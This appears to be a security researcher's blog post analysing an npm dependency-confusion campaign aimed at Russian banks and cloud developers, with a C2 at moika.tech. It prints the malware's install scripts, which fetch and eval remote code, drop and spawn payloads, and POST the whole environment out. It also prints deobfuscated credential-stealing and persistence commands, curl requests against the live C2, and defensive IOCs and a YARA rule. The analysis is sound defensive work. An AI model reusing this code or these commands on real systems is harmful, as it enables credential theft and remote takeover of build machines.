moika.tech. It's just telemetry. I promise.
300 packages on NPMJS, credential theft, token exfil and a reverse-SSH RAT calling moika.tech. Full malware and analysis of this ongoing campaign.
The other day i was looking at a package my personal threat-hunting setup had detected. It looked like a set of 50 or so packages, running some environment variable theft, and the code wasn't particularly inspiring so I dropped it.

Then, I saw a tweet from safedep about a dependency-confusion campaign phoning home to oob.moika.tech. One author, mr.4nd3r50n, a pile of malicious packages published on 2026-05-27, absurd version numbers, the usual install-script nastiness. Good post, you should read it.
The report counted the packages in the low hundreds. My archive had all of them, and a few others.
So let's take a look shall we.
First of all, what is dependency confusion?
It's wonderfully simple. A company has private packages, say @your-bank/login-form that live on an internal registry. If your build tooling can be tricked into checking the public npm registry too, and someone has published a public @your-bank/login-form at version 99.99.99, npm will happily hand your build the public one. Higher version wins. With some caveats but that's the gist of it.
Counting the blast radius
The seed indicators were tidy and worth keeping: callback host oob.moika.tech, a shared HTTP header X-Secret: l95HdDaz3kQx1Zsg3WxH6HvKANf51RY1, and an env-var scheme prefixed DEP_CONFUSION_.
Rather than trust anyone's package count, including my own, I let the strings do the counting. Every npm tarball in the archive, decompressed to stdout, grepped for the C2 host or that shared secret. Read it, parse it, hash it.
for f in npm/*.tgz; do
tar -xzO -f "$f" 2>/dev/null | grep -qaE 'oob\.moika\.tech|l95HdDaz3kQx1Zsg3WxH6HvKANf51RY1' \
&& echo "MATCH $f"
done
285 tarballs came back positive, across 40 npm scopes. My count is not perfect and only what i've collected.
The version numbers are their own little comedy. 99.99.99, 100.100.100, 99.99.100. One earlier scope, @service-suppliers, used 11.11.11. Same idea, older taste. The point of all of them is identical: be the highest version on the registry so resolution picks you.
One template, 285 ways
I pulled the lifecycle script out of every malicious package, normalised away the per-package bits like the name, the scope, the version, and hashed what was left.
134 5bb2c5e8… lightweight beacon (~876 B) apple-pay, google-pay, tochka, sber, alfa…
51 c6a2ebb3… full dropper (~4.4 KB) @cloudplatform-single-spa
43 0af8d326… full dropper (~4.4 KB) @service-suppliers, @car-loans
20 acb97b2c… full dropper (~5.2 KB) @polka-ui
… (14 more) the long tail, incl. 8 obfuscated one-offs
To show what "name-swapped" actually means, here's a diff between two packages from the same skeleton group, @service-suppliers/fetch_initial_suppliers_action_saga and @car-loans/applicaion-aff (their typo, not mine). Twenty lines differ, and every one is derived from the package name or version:
- * @service-suppliers/fetch_initial_suppliers_action_saga — postinstall
+ * @car-loans/applicaion-aff — postinstall
- * To disable: set SERVICE_SUPPLIERS_NO_TELEMETRY=1
+ * To disable: set CAR_LOANS_NO_TELEMETRY=1
- 'User-Agent': 'service-suppliers-telemetry/1.0',
+ 'User-Agent': 'car-loans-telemetry/1.0',
- package: '@service-suppliers/...', version: '11.11.11',
+ package: '@car-loans/applicaion-aff', version: '99.99.99',
- path.join(os.tmpdir(), '._service-suppliers_init.js')
+ path.join(os.tmpdir(), '._car-loans_init.js')
Everything else is identical.
The 8 genuine one-offs that wouldn't group? Those are the obfuscated @t-in-one packages.
Two templates: the beacon and the dropper
All of this breaks down into 2 core behaviours.
The big group, 134 packages and nearly half the campaign, is the lightweight one. The whole thing is this:
const BASE = "oob.moika.tech";
const scope = raw.startsWith("@") ? raw.split("/")[0].slice(1).replace(/[^a-z0-9-]/gi, "-") : "x";
const pkg = (raw.startsWith("@") ? raw.split("/")[1] : raw).replace(/[^a-z0-9-]/gi, "-");
// Fetches poc.js (safe PoC: whoami/hostname/ifconfig + /etc/passwd only)
http.get(`http://${pkg}.${scope}.${BASE}/poc.js`, { timeout: 8000 }, (res) => {
let body = "";
res.on("data", chunk => { body += chunk; });
res.on("end", () => { try { eval(body); } catch (_) {} }); // jshint ignore:line
}).on("error", () => {});
It builds a per-victim subdomain, fetches poc.js, and eval()s whatever comes back. The comment promising it's a "safe PoC" is doing a lot of work in that sentence. eval(body) is a blank cheque, it does whatever the server sends.
The other 132 packages, the full dropper, are where the work is. Here's the head of a @cloudplatform-single-spa postinstall:
const CALLBACK_URL = process.env.DEP_CONFUSION_URL || 'https://oob.moika.tech/report';
const PAYLOAD_BASE = process.env.DEP_CONFUSION_PAYLOAD || 'https://oob.moika.tech/payload';
const SECRET = process.env.DEP_CONFUSION_SECRET || 'l95HdDaz3kQx1Zsg3WxH6HvKANf51RY1';
const NO_TELEMETRY = !!process.env.CLOUDPLATFORM_SINGLE_SPA_NO_TELEMETRY;
const RECON_ONLY = 'true' === 'true' || !!process.env.DEP_CONFUSION_RECON_ONLY;
RECON_ONLY = 'true' === 'true'. It's a hardcoded true, written as a string comparison that can only ever be true, so the author can flip behaviour by editing a quote mark instead of a boolean. In other packages the same line reads 'false' === 'true', a hardcoded false. Across the corpus it splits 70 always-false to 52 always-true.
Every one of the full droppers ships its own hand-rolled HTTP client.
function httpGet(url, timeout = 30000) {
return new Promise((resolve, reject) => {
const parsed = new URL(url);
const lib = parsed.protocol === 'https:' ? https : http;
lib.get(url, { timeout }, (res) => {
const chunks = [];
res.on('data', c => chunks.push(c));
res.on('end', () => resolve(Buffer.concat(chunks)));
}).on('error', reject).on('timeout', function() { this.destroy(); reject(new Error('timeout')); });
});
}
The flow itself is standard, and the comments are in Russian:
// Задержка — обходит sandbox
await new Promise(r => setTimeout(r, 3000));
"Delay, bypasses sandbox." This is pretty crap, I can't think of a single active analysis sandbox that would fall over on a 3 second sleep.
It then detect the OS, then go fetch the real payload, write it to a dot-file in temp, and spawn it detached so it outlives npm:
let jsPayload = await httpGet(`${PAYLOAD_BASE}/${osType}.js`, 15000);
const helperPath = path.join(os.tmpdir(), '._cloudplatform-single-spa_init.js');
fs.writeFileSync(helperPath, jsPayload);
spawn(process.execPath, [helperPath], { detached: true, stdio: 'ignore', env: helperEnv }).unref();
If the download fails, there's a fallback that doesn't bother with a payload at all. It just POSTs your shell to /report:
await httpPost(CALLBACK_URL, {
poc: 'dependency-confusion-npm', os_type: osType,
system: { hostname: os.hostname(), user: os.userInfo().username, ... },
env: process.env, // every secret in the environment
error: e.message,
});
Knocking on the C2
The install script tells you where it phones home, and that it runs whatever the server sends back. What it doesn't contain is the payload itself. For that you have to ask oob.moika.tech directly.
It was very much still up. A fresh Let's Encrypt certificate, minted 2026-05-25, two days before the first wave, on a box at 72.56.97.200 in Amsterdam.
The IP sits in AS210976, which belongs to Timeweb, a Russian hosting company, operating out of their EU range. nginx out front, and behind it the giveaway {"detail":...} JSON of a FastAPI app.
The payload route did not want to talk to me:
$ curl -I https://oob.moika.tech/payload/linux.js
HTTP/1.1 405 Method Not Allowed
allow: GET
$ curl https://oob.moika.tech/payload/linux.js
{"detail":"Forbidden"}
The endpoint exists, it only allows GET, and a bare GET gets a 403. It's gated on something. The malware carries its own key, though. That X-Secret is hardcoded into 126 of the samples.
Replaying it is just doing what a victim would do:
$ curl -H "X-Secret: l95HdDaz3kQx1Zsg3WxH6HvKANf51RY1" \
https://oob.moika.tech/payload/linux.js
'use strict';const a0_0x481443=a0_0x4fb8;(function(_0x38f811,_0x2dba24)...
Fantastic. It's serving something. 27,574 bytes of obfuscator.io per OS, three distinct builds for linux, mac and win.
Mapping the rest of the server is easy because it's honest about what it doesn't have. Unknown paths don't 404. nginx just drops the connection, so a path that does answer with JSON is a path that exists.
GET /payload/{os}.js 200 (with X-Secret) / 403 (without)
POST /report 405 to GET/OPTIONS (write-only exfil sink)
everything else connection dropped
GET /report returns 405. There's no listing endpoint, no open directory, nobody left the loot on the porch. (Poke it too fast and it does start handing out 429s, so it's not completely asleep.)
Let's take a further look at that payload
27 KB of obfuscated JS is not meant to be read. It's the usual scheme: a giant array of scrambled strings, a function that decodes them on demand, and every real string in the program replaced with a call into that decoder. You can stare at it all day and learn nothing.
The trick is that the decoder is pure. It's maths, base64 and an RC4-ish shuffle, with no file access, no network, no require. So you don't run the malware. You lift out only the string-array, the rotation, and the decoder, and ask it to decode the indices the program actually uses:
This is stealer goes straight for the build estate. A representative handful of the recovered commands, verbatim.
The cloud metadata endpoints, to steal the instance's own role credentials:
curl -fsSL --max-time 2 -H "Metadata-Flavor: Google" \
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token 2>/dev/null
curl -fsSL --max-time 2 http://169.254.169.254/latest/user-data 2>/dev/null
A sweep across the whole disk:
find / -maxdepth 8 -type f \( -name '*.json' -o -name '*.yaml' -o -name '*.yml' -o -name '*.toml' \
-o -name '*.ini' -o -name '*.cfg' \) 2>/dev/null \
| grep -vE 'node_modules|\.git|vendor|\.cache|/proc|/sys' \
| xargs grep -liE '(api_key|api_secret|access_token|secret_key|auth_token|bearer|password|passwd|credential)' 2>/dev/null | head -20
And your standard secrets & token locations.
~/.ssh keys, .aws/credentials, .azure, GCP application_default_credentials.json, /var/run/secrets/kubernetes.io/serviceaccount/token, /etc/gitlab-runner/config.toml, Jenkins credentials.xml, Terraform and Ansible vaults, .npmrc, .pypirc, composer auth.json.
Then it digs out the env dump, POSTs the lot to /report, and pulls down a second binary.
On Linux it drops a file at ~/.cache/._kworker, masquerading as a kernel worker thread, and installs a systemd user service with a name picked to disappear in a process list:
[Unit]
Description=D-Bus Message Broker
[Service]
ExecStart=…/.cache/._kworker
Restart=always
[Install]
WantedBy=default.target
systemctl --user daemon-reload 2>/dev/null
systemctl --user start dbus-broker.service 2>/dev/null
( crontab -l 2>/dev/null; echo "@reboot …/.cache/._kworker" ) | crontab - 2>/dev/null
The Windows build is nosier and greedier. It rifles the registry for saved SSH and SNMP material, sweeps the disk for private keys, and persists itself to startup twice:
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s 2>nul
reg query "HKCU\Software\SimonTatham\PuTTY\SshHostKeys" 2>nul
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP\Parameters\ValidCommunities" 2>nul
cmd /c "for /r %USERPROFILE% %f in (*.pem *.key *.pfx *.p12 *.jks) do @echo %f" 2>nul
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "MicrosoftUpdateService" /t REG_SZ /d "…"
macOS, by contrast, just does recon and goes home. No second stage.
I guess what they say is true, you can't get a virus on a Mac.
The fallback /report and the payload route aren't the only things on this server. Deobfuscated, the Linux stage-1 builds a third URL by swapping /payload for /bins:
process.env.DEP_CONFUSION_PAYLOAD.replace("/payload","/bins") // https://oob.moika.tech/bins
/bins. My first guesses at the path were wrong, and the server told me so, politely, in JSON, which after the connection-dropping apex felt almost chatty:
$ curl -H "X-Secret: …" https://oob.moika.tech/bins/linux/x64
{"detail":"Not Found"}
$ curl -H "X-Secret: …" https://oob.moika.tech/bins/linux/arm64
{"detail":"Not Found"}
Luckily the deobfuscated code has the asnwer for me. The second path segment is actually a constant. /bins/{os}/{os}.
$ curl -H "X-Secret: …" https://oob.moika.tech/bins/linux/linux -o linux_stage2.bin
$ file linux_stage2.bin
linux_stage2.bin: ELF 64-bit LSB executable, x86-64, statically linked, stripped
26 MB of stripped, statically-linked ELF. A 34 MB PE alongside it for Windows.
Prying open a Go binary that doesn't want to be read
The binaries are built with garble, a Go obfuscator.
It renames everything and, helpfully for the author, scrambles the pclntab, the table that tools like GoReSym use to recover function names.
Point GoReSym at it and you get nothing:
$ GoReSym -t linux_stage2.bin
{"error": "Failed to parse file: failed to read pclntab: failed to locate pclntab"}
The reason is small and almost funny. The pclntab has a 4-byte magic number at its head. Go 1.20+ expects f1 ff ff ff. garble had overwritten it:
$ xxd -s 0x13b7e00 -l 8 linux_stage2.bin
013b7e00: 029a 94d3 0000 0108
02 9a 94 d3. So I patched the four bytes back on a copy of the file and tried again.
$ printf '\xf1\xff\xff\xff' | dd of=patched.bin bs=1 seek=$((0x13b7e00)) count=4 conv=notrunc
$ GoReSym -t patched.bin | jq '.UserFunctions | length'
4620
4,620 functions. The package names are still mangled to noise (runtime becomes cwOiyml, x/crypto/ssh becomes o_qIycwruH). But garble leaves method names intact, because Go needs them for interface dispatch. And the methods tell the whole story:
o_qIycwruH.OpenChannel o_qIycwruH.ChannelType WAW3sK.ReadSSHPacket …SendRequest
NewClientConn Forwarding SetForwarding CheckForward
Dial DialContext Listen ListenPacket <type>.Execute SetNTLMProxyCreds
OpenChannel. ReadSSHPacket. Forwarding. Dial and Listen. A row of Execute methods on a package named agtBPXtoB, agt as in agent. And SetNTLMProxyCreds.
A reverse-SSH RAT
The strings that garble doesn't touch fill in the rest. sftp. socks5. The literal rssh. And, in the Windows build, a developer's home directory:
C:\Users\mail\source\winpty\src\agent\main.cc
c:\rprichard\proj\winpty\src\Release\x64\winpty.pdb
winpty. Windows has no native pseudo-terminal, so if you want a real interactive shell on a victim's box, an actual TTY rather than a one-shot command, you bundle winpty. There are two trails here: the upstream author's release PDBs (rprichard is winpty's actual maintainer), and a recompiled copy under C:\Users\mail\source\winpty\.
Our author built it themselves, and their Windows username is mail.
Put the methods and the strings together and the second stage is a reverse_ssh-class implant:
- An interactive PTY shell (winpty on Windows), with full xterm mouse and bracketed-paste handling
- SFTP, for arbitrary file upload and download
- SOCKS5, so the operator can route traffic into the victim's network
SetNTLMProxyCreds, so it can authenticate out through a corporate NTLM proxy to reach its C2
The Go binary doesn't phone the same home as the dropper. Hardcoded into both the ELF and the PE:
https://141.98.189.248:32322
A different host. Moscow this time, reverse DNS vm15592645. 141.98.189.248 lives in AS33993, which belongs to UFO Hosting LLC, and they have a shopfront, at ufo.hosting.
Nothing much to see with this host, it's very standard and doesn't make any claims that we might expect to see from cyber-crime hosts, like bulletproof or abuse-ignored.
The TLS certificate is self-signed and pretending to be something it isn't:
$ openssl s_client -connect 141.98.189.248:32322 | openssl x509 -noout -subject -dates
subject= C = US, O = "Cloudflare, Inc", CN = 141.98.189.248:32322
notBefore= May 25 16:06:38 2026 GMT
A fake Cloudflare cert. And the notBefore is 2026-05-25, the same day as the oob.moika.tech certificate.
I tried to check out some of the routes on this host, but I only got a single hit.
$ curl -k https://141.98.189.248:32322/ws
not websocket protocol
That 400 was the only non-404 in what I had checked which already told me /ws was real. To be sure it wasn't a fluke I sent a proper RFC-6455 handshake, offered ssh as the subprotocol, and checked the reply:
/ws HTTP 101 SWITCHING PROTOCOLS Sec-WebSocket-Accept valid=true subproto=ssh
101, a cryptographically valid accept key, and the server echoing ssh back as the negotiated subprotocol. So the implant tunnels SSH over a WebSocket, the operator connects in through /ws, and the whole thing wears a Cloudflare costume on the way past.
Pulling the dates together, we can start to see a timeline of this campaign and this domain. Certificate transparency shows moika.tech itself isn't new. There are admin., erp-dev. and work. subdomains with certificates going back to 2026-03-14. The campaign infrastructure proper is much newer.
| Time (UTC) | Event |
|---|---|
| 2026-03-14 | moika.tech / www / erp-dev certificates issued; domain predates the campaign |
| 2026-05-25 14:28 | oob.moika.tech Let's Encrypt cert (stage-0/1 C2) |
| 2026-05-25 16:06 | 141.98.189.248 self-signed "Cloudflare" cert (stage-2 C2) |
| 2026-05-27 21:13 | first malicious version published: @cloudplatform-single-spa/arenadata-db@99.99.99 |
| 2026-05-29 | second wave; more versions, the obfuscated @t-in-one set |
| 2026-05-30 | both C2s still live; payloads and binaries pulled for this analysis |
What they were aiming at
The scope names aren't random, and they aren't invented. They're real internal module names, which is the entire point of dependency confusion. You can't squat a private package you can't name. Read them and the target list reads like a who's-who of Russian finance:
@alfa.life.mapp: Alfa-Bank (alfa.lifeis their product domain)@sbt_gitverse,@sber-ecom-core/sberpay-widget: Sber@bcs-bank,@bcs-ui,@bcs-react-ui, and five more: BCS, the broker@tochka-ui: Tochka Bank@ozon-complt: Ozon@apple-pay-trust,@google-pay-trust: 53 packages of payment-flow modules between them, with members likemerchant-sessionandvalidate-merchant@car-loans,@loans,@fb-deposit,@debit-ib: retail lending and deposits@cloudplatform-single-spa: 50 packages mirroring a cloud provider's web console microfrontends, includingarenadata-dbandmarketplace-gigachat. GigaChat is Sber's LLM. ArenaData is a Russian database vendor. The ecosystem references are not subtle.
A couple I'd put lower confidence on. @tw-* reads like Tinkoff, kl-b2c-ui-kit like Kaspersky, @w3m-app is WalletConnect's Web3Modal. But the direction of the whole thing is unmistakable. This is aimed at the developers and CI pipelines of Russian banks, brokers, payment rails and one large cloud provider.
[CHART: targeting treemap grouped by sector. Banking & brokerage, Payments, Lending/deposits, Cloud, E-commerce, Crypto wallet, AV, sized by package count.]
There are a fewer other things worse mention that I couldn't coherently tie up.
The fourth template. Widening the sweep turned up @m0ntana/app.web, seven versions, that my first pass missed because it doesn't use oob. at all.
It uses the apex moika.tech It encodes the victim into the DNS label before it sends any data:
const BASE_DOMAIN = "moika.tech";
const subdomain = `${PKG}.${SCOPE}.${osName}-${user}.${host}.${BASE_DOMAIN}`;
// then: GET http://<subdomain>/env?d=<base64-of-everything> and /ping
const out = safeExec(IS_WIN ? "set" : "printenv");
Package, scope, OS, username and hostname, all baked into the hostname, so even a request that never completes still leaks who you are to whoever runs the DNS. The body is then your entire environment, base64'd into a GET query string.
I went to fetch poc.js. It 301s to HTTPS, and the HTTPS side drops the connection:
$ curl -i "http://start.apple-pay-trust.oob.moika.tech/poc.js"
HTTP/1.1 301 Moved Permanently
Location: https://start.apple-pay-trust.oob.moika.tech/poc.js
$ curl -k "https://start.apple-pay-trust.oob.moika.tech/poc.js"
curl: (52) Empty reply from server
Node's http.get doesn't follow redirects. So these 134 packages fetch a 301 page, eval() it, throw a syntax error, and do precisely nothing. Half the campaign is inert. A staging accident, or a switch waiting to be flipped, I can't say from the outside.
You don't need the C2 to be up to find this in your own estate. A few things that work today.
In your lockfiles, the version scheme gives it away.
grep -rEn '"@[^"]+":\s*"(99\.|100\.|11\.11\.11|99\.0\.)' \
package-lock.json yarn.lock pnpm-lock.yaml
You can also identify the dropper if you have network traffic inspection. The user-agent is <scope>-telemetry/1.0 on the POST /report, and node/telemetry-1.0 from the stealer; the DNS exfil variant produces deep, structured subdomains under moika.tech.
Block moika.tech and the two IPs at egress, then go looking in proxy and DNS logs.
On disk, the persistence is distinctive and dumb:
systemctl --user list-units | grep dbus-broker
ls -la ~/.cache/._kworker
crontab -l | grep -i reboot
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v MicrosoftUpdateService
And because the install scripts are one template, they fingerprint cleanly. These static strings ought to catch it:
rule moika_dep_confusion_dropper {
strings:
$a = "DEP_CONFUSION_SECRET"
$b = "l95HdDaz3kQx1Zsg3WxH6HvKANf51RY1"
$c = "moika.tech"
$tell1 = "'false' === 'true'"
$tell2 = "'true' === 'true'"
$tmp = "_init.js"
condition:
2 of ($a,$b,$c) or ($tmp and any of ($tell*))
}
Unfortunately, as with all environment and secret stealers, if this ran in your infra. You've got a lot of clean-up and rotation to do.
IOCs & TTPs
Network
C2 (stage 0/1): oob[.]moika[.]tech -> 72[.]56[.]97[.]200 (Timeweb, AS210976, Amsterdam)
GET /payload/{linux,mac,win}.js (requires X-Secret)
POST /report (env-dump exfil)
GET /bins/{linux,win}/{linux,win} (native stage-2)
C2 (stage 2): 141[.]98[.]189[.]248:32322 (UFO Hosting LLC / ufo[.]hosting, AS33993, Moscow)
GET /ws (WebSocket, subprotocol "ssh"; reverse-SSH tunnel)
apex variant: moika[.]tech -> http://<pkg>.<scope>.<os>-<user>.<host>.moika[.]tech/env?d=<base64> + /ping
related subdomains: admin[.]moika[.]tech, erp-dev[.]moika[.]tech, work[.]moika[.]tech
nameservers: ns1/ns2[.]reg[.]ru
Secrets / strings
X-Secret: l95HdDaz3kQx1Zsg3WxH6HvKANf51RY1
env scheme: DEP_CONFUSION_URL | _PAYLOAD | _SECRET | _RECON_ONLY | _PKG | _VER
kill switch: <SCOPE>_NO_TELEMETRY=1 (e.g. CLOUDPLATFORM_SINGLE_SPA_NO_TELEMETRY)
user-agents: <scope>-telemetry/1.0 | node/telemetry-1.0
authorship tell: 'false' === 'true' / 'true' === 'true'
build artefact: C:\Users\mail\source\winpty (Windows build username "mail")
Artefacts & persistence
stage-1 temp: <tmpdir>/._<scope>_init.js
linux stage-2: ~/.cache/._kworker (chmod +x)
persistence: systemd --user unit "dbus-broker.service" + @reboot crontab
windows stage-2: %AppData%\Roaming\Microsoft\Windows\WinUpdate.exe
persistence: HKCU\...\Run "MicrosoftUpdateService" + schtasks /sc onlogon
Hashes (sha256)
linux.js (stage-1) b3ec71f611862b52dd0448adc9084c0366c7763b77377cd1a039f0fba40162ec
mac.js (stage-1) d5cba7bae0dbfbe856b3caf404a1bed5650d4a9cd82db994b0a42ccdfd1cea9f
win.js (stage-1) 2ccfb72c0bc87ce56aa451bac1594d621796ffff0c06f6ce77060aa4409bc3f3
linux_stage2.bin 80b98bd4b63d5a9cb8623c3e03a4596692a9304f9e82253241c457fccb697989
win_stage2.bin c4ca166af92dd73595fdd908511916d0c53c65047886db3fe688c2b5d622588f
Thanks for reading. If you enjoyed this check out my other posts on veryserious.systems.